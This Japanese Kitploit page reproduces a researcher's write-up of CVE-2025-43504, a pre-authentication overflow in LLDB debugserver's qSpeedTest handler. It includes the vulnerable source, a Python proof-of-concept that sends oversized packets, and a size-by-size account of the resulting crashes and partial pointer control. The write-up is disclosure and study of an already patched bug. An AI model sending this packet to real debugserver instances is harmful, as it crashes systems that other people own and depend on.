Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-43504 | Kitploit
ツール/GitHubGitHub/calysteon/cve-2025-43504
iOSセキュリティ脆弱性分析エクスプロイトデバッガ論文と研究学習と教育バイナリエクスプロイト
GitHubcalysteon/cve-2025-43504

CVE-2025-43504

リポジトリを見る
8ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

善良な /bin が悪さをする時: LLDB の debugserver におけるリモート認証前オーバーフロー


はじめに

子供の頃、私はよく地元のウォルマートで DVD の特価ビンを掘り返すのが好きでした。同じ映画がたくさん上に置かれていることに気づきましたが、実際に掘り返すと、より面白くてニッチなタイトルを見つけることができました。

プログラムがバッファをオーバーフローさせるとき、あなたは本質的にその特価ビンに手を突っ込んでいます。どのくらい深く手を伸ばすかによって、DVD - この場合ならメモリ内で上書きされる構造体 - が変わることがあります。

今日の特価品 /bin は CVE-2025-43504 です。私が LLDB の debugserver で発見したリモート認証前グローバルバッファオーバーフローです。

どうやってここに至ったのか?

アプリ開発中、開発者は物理的な iOS デバイス上でアプリをデバッグする必要に迫られることがよくあります。これを実現するために、Xcode は対象の iPhone に Developer Disk Image をマウントし、それとペアリングします。

ペアリングが完了すると、macOS ホストはクライアントにインストールされた debugserver を使って iOS クライアントと通信できるようになります。デバイスの debugserver への GDB-remote セッションを確立できるクライアントは、qSpeedTest ハンドラに到達し、脆弱なバッファをオーバーフローさせることができます。

Apple が CVE-2025-43504 をどのように分類したかをより深く理解するため、Xcode 26.1 のセキュリティリリースページを見てみましょう。

CVE-2025-43504

現代のソフトウェア緩和策により、Apple はバッファオーバーフローを主にサービス拒否の問題とみなしており、メモリ破損のプリミティブとは考えていません。本日見ていくように、これは概ね事実であり、攻撃者はいくつかのハードルを乗り越え、任意のコード実行を達成するためにこの問題を別のバグと組み合わせる必要があるでしょう。

Pwn への小さな一歩、Pwnkind への偉大な飛躍

パッチ適用前の debugserver を試してみたい場合は、次のコミット、または ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de より前の任意のコミットを使用してください。

root@kitploit:~
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c

もっと大きなデバッガが必要になる

RNBRemote.cpp のパッチが適用される前は、iOS デバイスの debugserver に接続できるリモートユーザーは、認証前の qSpeedTest パケットを RNBRemote::HandlePacket_qSpeedTest に送信し、debugserver のグローバルデータセグメント内の隣接する構造体を破損させることができました。

ただし、重要な注意点があります: 私たちが制御できるのは破損の長さだけです。ペイロードの内容は 'a' 文字の並びに固定されています。学生は安定して高い成績を得られるかもしれませんが、実際に書き込まれるバイトを制御できないという事実は、このオーバーフローの実用性を大幅に制限します。制御できるのは 'a' の洪水がどこまで進むかだけです。

それでは、RNBRemote::HandlePacket_qSpeedTest の内部を見て、何が起きているのかを正確に確認しましょう。

root@kitploit:~
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
  p += strlen("qSpeedTest:response_size:");
  char *end = NULL;
  errno = 0;
  // We control the length of response_size
  uint64_t response_size = ::strtoul(p, &end, 16); 
  if (errno != 0)
    return HandlePacket_ILLFORMED(
        __FILE__, __LINE__, p,
        "Didn't find response_size value at right offset");
  else if (*end == ';') {
    static char g_data[4 * 1024 * 1024 + 16];
    strcpy(g_data, "data:");
    // The overflow of g_data by a's occurs here
    memset(g_data + 5, 'a', response_size);
    g_data[response_size + 5] = '\0';
    return SendPacket(g_data);
  } else {
    return SendErrorPacket("E79");
  }
}

RNBRemote::HandlePacket_qSpeedTest() の役割は、iOS デバイスの debugserver バイナリと通信できるリモートユーザーからの認証を必要とせずに、受信した qSpeedTest:response_size:<hex>; パケットを処理することです。

しかし、リモートユーザーが debugserver に qSpeedTest:response_size:<hex>; パケットを送信できるようになると、debugserver はユーザー提供の response_size を処理する前に認証チェックを行いません。したがって、Developer Disk Image をマウントした iOS デバイスと通信できるユーザーは、qSpeedTest:response_size:<hex>; パケットを介して debugserver をオーバーフローさせることができます。

泳ぎ続ける、泳ぎ続ける、泳ぎ続ける

脆弱な関数 RNBRemote::HandlePacket_qSpeedTest() に到達したところで、オーバーフローが正確にどのように発生するのかを調べてみましょう。まず、qSpeedTest:response_size:<hex>; パケット内のユーザー指定サイズ <hex> が抽出され、変数 response_size に格納されます。

root@kitploit:~
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);

パースが成功し、次の文字がセミコロンであれば、関数ローカルな静的 4 MiB + 16 バイトのバッファ g_data が初期化され、ASCII ヘッダー "data:" でシードされます。

root@kitploit:~
if (errno != 0)
  return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
                                "Didn't find response_size value at right offset");
else if (*end == ';') {
  static char g_data[4 * 1024 * 1024 + 16];
  strcpy(g_data, "data:");

おっと、またやった

すべてをまとめると、memset は、ユーザーが制御する response_size 値を使用する 'a' の数として、静的 4 MiB + 16 バイトのバッファ g_data を 'a' で埋めます。

root@kitploit:~
  // The overflow of g_data by 'a's occurs here
  memset(g_data + 5, 'a', response_size);
  g_data[response_size + 5] = '\0';

したがって、リモート LLDB クライアントが 4 MiB + 16 バイトのバッファより大きい response_size を持つ qSpeedTest:response_size:<hex>; パケットを送信するたびに、バッファオーバーフローが発生し、debugserver のグローバルデータセグメント (.bss) に格納されている隣接するグローバル変数が破損します。

良い bin が悪さをする時

オーバーフローの背後にあるアーキテクチャを理解したところで、実際の脆弱性の仕組みに飛び込んでみましょう。まず、以下の Python プログラムを使って、g_data オーバーフローによって得られる破損プリミティブを調べてみましょう。

root@kitploit:~
import argparse, socket

def frame(payload: bytes) -> bytes:
    return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))

def send_one(host: str, port: int, resp_hex: str):
    payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
    pkt = frame(payload)
    s = socket.create_connection((host, port), timeout=5.0)
    s.settimeout(1.5)
    try:
        # send the oversized qSpeedTest
        s.sendall(pkt)
        try:
            _ = s.recv(1)  # ACK (best effort)
        except Exception:
            pass

        # Optional tiny nudge to exercise pointer use
        try:
            s.sendall(frame(b"?"))
            _ = s.recv(1)
        except Exception:
            pass

    finally:
        try: s.close()
        except Exception: pass

def main():
    ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=1234)
    ap.add_argument("--size", required=True,
                    help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
    args = ap.parse_args()

    print(f"[i] Sending qSpeedTest:response_size:0x{args.size} to {args.host}:{args.port}")
    send_one(args.host, args.port, args.size)
    print("[i] Done. If debugserver crashed, check the log for SIGSEGV/SIGBUS and fault address.")

if __name__ == "__main__":
    main()

response_size 0x4004AB: クラッシュなし

debugserver を起動した後、以下の python3 コマンドを実行し、response_size として 4004AB を指定します。

root@kitploit:~
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB

debugserver はクラッシュせず、通常どおり戻ることがわかります。

クラッシュなし

技術的には範囲外ですが、g_data は \0 バイトで終端されているため、隣接するログ関数ポインタ g_log_callback は NULL バイトによって上書きされるだけで、ポインタ全体は NULL のままになります。

response_size 0x4004AC - 0x40052B: 最初の Bus Error

debugserver を起動した後、以下の python3 コマンドを実行し、response_size として 0x4004AC を指定します。

root@kitploit:~
python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC

なんてこった!

最初の Bus Error

追加の 1 バイトを指定することで、NULL テールを越えて押し出され、隣接する g_log_callback ポインタを 0x61 の値で逆参照することになり、クラッシュが発生しました。それでは、--size パラメータを 1 ずつ増やし続けて、何が起こるか見てみましょう。

オーバーフロータイムラプス

ご覧のとおり、g_log_callback の値を制御できるようになりました。まあ、部分的には、実際に制御できるのは g_log_callback 内の何バイトが 0x61 に等しくなるかということだけです。

これは _DNBLogVAPrintf で発生するのを確認できます。

root@kitploit:~
static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
                                   va_list args) {
  static std::recursive_mutex g_LogThreadedMutex;
  std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);

  if (g_log_callback)
    g_log_callback(g_log_baton, flags, format, args);
}

g_log_callback が非 NULL であるため、ミューテックスがロックされ、破損したポインタを呼び出してクラッシュします。response_size が 0x4004B3 を超えると、response_size に 0x7F オフセットが追加されるまで、クラッシュアドレスや対応するスタックトレースに実際の変化が見られなくなります。論理的には、これは理にかなっています。g_log_callback ポインタが破損すると、g_log_callback の逆参照による最初のクラッシュが発生するため、他のログ構造内の後続の破損は無関係になるからです。

興味深いことに、パッチ適用前の macOS のプロダクションリリースでは、この部分的なポインタ制御を使用して、メモリ内のさまざまなユーザースペースポインタを上書きすることができました。

root@kitploit:~
0x0000000105006169
0x0000000103006169
0x0000000a0a006169
0x00000009d8006169
0x0000000103006169
0x0000000734006169
0x0000000100006169

なぜか、各アドレスの末尾バイトは常に 0x8 バイトずつ増加していました。しかし、末尾の 0x6169 バイトによって生じるアライメントの問題を解決でき、上書きされたポインタによって逆参照されるデータを何らかの方法で予測・制御できれば、理論的には制御フローをリダイレクトし、最終的にコード実行を達成できるでしょう。

response_size 0x40052C - 0x402C62: abort() エラー

破損した g_log_callback ポインタを逆参照する前のミューテックスのロックについて簡単に説明しました。ここで、response_size が 0x40052C になると、ミューテックス自体が破損します。

abort() エラー

この問題は、_DNBLogVAPrintf が lock_guard コンストラクションを実行したときに発生したことがわかります。

root@kitploit:~
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);

スタックトレースから、lock_guard は __m_.lock が呼び出されたときにフォールトすることがわかります。

root@kitploit:~
    31│   _LIBCPP_HIDE_FROM_ABI explicit lock_guard(mutex_type& __m) _LIBCPP_THREAD_SAFETY_ANNOTATION(acquire_capability(__m))
    32│       : __m_(__m) {
    33│     __m_.lock();                                                                                
      │          ▲
    34│   }
    35│

別の関数に扮した関数を演じる関数

さらに調べるために、std::recursive_mutex の関数定義を見てみましょう。

root@kitploit:~
void recursive_mutex::lock() {
  int ec = __libcpp_recursive_mutex_lock(&__m_);
  if (ec)
    std::__throw_system_error(ec, "recursive_mutex lock failed");
}

これは __libcpp_recursive_mutex_lock のラッパーであるようです。

root@kitploit:~
inline _LIBCPP_HIDE_FROM_ABI _LIBCPP_NO_THREAD_SAFETY_ANALYSIS int
__libcpp_recursive_mutex_lock(__libcpp_recursive_mutex_t* __m) {
  return pthread_mutex_lock(__m);
}

そして、これは pthread_mutex_lock のラッパーであるようです。

root@kitploit:~
PTHREAD_NOEXPORT_VARIANT
int
pthread_mutex_lock(pthread_mutex_t *mutex)
{
	return _pthread_mutex_lock(mutex, false);
}

さらにこれは _pthread_mutex_lock の別のラッパーです... しかし、そこまで掘り下げる必要はありません。

pthread_mutex_t ポインタが私たちのオーバーフローによって破損しているため、pthread_mutex_lock は std::system_error("recursive_mutex lock failed") をスローし、プログラムは abort() を呼び出して終了します。

プログラムが abort するため、0x40052C から 0x402C62 の間の response_size の悪用は、macOS によって実行される追加チェックにより同期プリミティブを破損することになるため、はるかに困難です。

response_size 0x402C63 以降: 最後の Bus Error

ここで、response_size に 0x402C63 以上を使用すると、memset がカーネルがメモリ内の .bss セグメントの後に配置したガードページまたは未マップ領域の境界を越えた瞬間に、RNBRemote::HandlePacket_qSpeedTest 内で CPU フォールトが発生します。

最後の Bus Error

この最後のオーバーフローバリアントは、プログラム実行を制御する直接的な方法がないため、それほど興味深いものではありません。

パッチを当てるだけ (パッチを当てるだけ)

問題自体を取り上げたところで、Apple がどのようにパッチを当てたかを見てみましょう。

パッチ

パッチの説明によると、

この割り当てをヒープ上に変更し、テストできる最大サイズ(当面は 4MB)を課す。

2 つの大きな変更が見られます。

  1. 割り当てが、debugserver のグローバルデータセグメント (.bss) ではなくヒープ上にある
  2. 以前はサイズチェックが行われていなかった割り当てに、最大サイズ 4MB が課されている。

さようなら、そしてすべての魚に感謝

Apple のソフトウェアとシステムの背後には広範なクローズドソースエコシステムがあるため、ソフトウェアの欠陥を確実に発見して理解することは常に困難です。

しかし、Apple が依存しているオープンソースの依存関係は常に存在します。そのうちの 1 つで問題を見つけることができれば、下流に影響が及ぶ可能性が高いです。

ハンティングの幸運を祈ります。そして、見つけた問題は必ず責任を持って開示してください 😉

ツールをダウンロード